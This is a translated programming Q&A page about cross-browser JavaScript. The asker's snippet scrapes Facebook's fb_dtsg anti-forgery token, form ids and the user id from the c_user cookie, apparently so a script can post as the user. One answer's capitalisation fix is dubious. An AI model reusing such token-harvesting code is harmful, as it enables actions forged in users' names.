[英]JavaScript not working in IE but works in FireFox?
post_form_id = escape(findelementbyname("post_form_id"));
fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value);
cookie_user_uid = document.cookie.match(/c_user=(\d+)/)[1];
xhpc_composerid = escape(findelementbyname("xhpc_composerid"));
似乎 post_form_id 和 fb_dtsg 無法在 Internet Explorer 中正確執行,但在 Firefox 中工作?
我必須改變什么才能讓它在兩者中工作?
一個問題:您可以通過 ID 進行搜索嗎? 如果是這樣,getElementById(...) 將是一個更好的選擇。
要按名稱獲取元素,您將使用 getElementsByName("...") - 但這將返回一個元素數組,您需要從中獲取第一項。
通常,您所描述的關於跨瀏覽器的不一致是由語法問題引起的......
我相信這一點:
findelementbyname(...)
應該是這樣的:
FindElementByName(...)
還可以通過JSLint 等在線語法檢查器運行您的代碼
盡管您可以使 javascript 跨瀏覽器兼容而無需額外的庫(例如 JQuery),但這樣做通常會變得不必要地痛苦。 我會推薦使用 JQuery。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.